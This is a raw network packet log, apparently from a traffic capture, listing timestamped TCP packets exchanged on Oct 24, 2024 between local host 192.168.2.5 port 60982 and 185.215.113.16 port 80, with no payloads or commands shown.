Oct 24, 2024 08:38:13.705336094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705353022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705355883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705363989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705375910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705390930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705416918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705720901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705734015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705744028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705768108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705792904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.713998079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714067936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714078903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714090109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714154959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714447975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714461088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714481115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714482069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714488983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714492083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714505911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714519024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714525938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714533091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714544058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714551926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714570045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714591980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714668989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714679956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714690924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714709997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714709997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714721918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714729071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714735031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714746952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714756012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714756966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714767933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714773893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714814901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714827061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714827061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714827061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714839935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714849949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714850903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714869022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714879990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714895010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714941978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714951992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714965105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.714977980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.714988947 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715008020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715008020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715022087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715045929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715058088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715070009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715070963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715081930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715095043 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715116978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715116978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715145111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715183973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715183973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715204954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715219021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715220928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715229988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715240955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715246916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715307951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715353966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715367079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715379953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715398073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715404034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715420008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715425014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715434074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715446949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715461016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715471983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715481997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715492964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715517044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715527058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715603113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715615988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715627909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715640068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715653896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715663910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715729952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715750933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715775967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715781927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715794086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715795040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715811014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715821028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715830088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715837002 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715841055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715851068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715853930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715866089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715878010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715887070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715895891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715898991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.715924025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715930939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.715970039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716001034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716011047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.716012001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716037035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.716046095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.716084957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716097116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716109037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.716125011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.716144085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.748900890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.748914957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.748927116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.748996973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.749032021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.749053955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.749068022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.749078989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.749097109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.749121904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.753910065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753921986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753942966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753953934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753966093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753968000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.753978014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.753983021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.754000902 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.754026890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.777071953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777110100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777128935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777142048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777153015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777162075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.777162075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.777163982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.777183056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.777209044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.810566902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810589075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810712099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.810740948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810760021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810770988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810782909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810784101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.810838938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.810888052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.810933113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811045885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811058044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811069012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811079979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811089039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811095953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811101913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811110020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811144114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811189890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811206102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811216116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811228037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811229944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811239958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811250925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811254978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811286926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811414003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811425924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811436892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.811464071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.811474085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822151899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822164059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822177887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822232008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822244883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822324038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822335005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822345972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822356939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822367907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822371960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822377920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822388887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822400093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822401047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822412968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822419882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822433949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822462082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822482109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822520018 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822660923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822673082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.822704077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.822715998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831254959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831265926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831275940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831286907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831325054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831351042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831383944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831428051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831598997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831609964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831620932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831631899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831643105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831645012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831654072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831659079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831677914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831700087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831762075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831803083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831904888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831914902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831926107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831935883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831945896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831950903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831958055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831969023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.831969976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831980944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.831994057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832005978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832034111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832062960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832075119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832087994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832106113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832129955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832159996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832170963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832180977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832192898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832204103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832211971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832222939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832231998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832241058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832252026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832252979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832277060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832284927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832298040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832300901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832320929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832321882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832330942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832334042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832345009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832359076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832359076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832369089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832375050 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832382917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832384109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832396030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832402945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832428932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832464933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832477093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832493067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832500935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832504988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832528114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832540989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832556963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832573891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832575083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832586050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832611084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832621098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832704067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832719088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832732916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832741976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832751989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832755089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832771063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832792997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832793951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832833052 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832863092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832873106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832891941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832901955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832914114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832921028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.832933903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.832952976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.833029032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833039999 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833050966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833061934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833074093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833075047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.833085060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833102942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.833115101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.833220005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833230972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833244085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.833262920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.833277941 CEST	60982	80	192.168.2.5	185.215.113.16
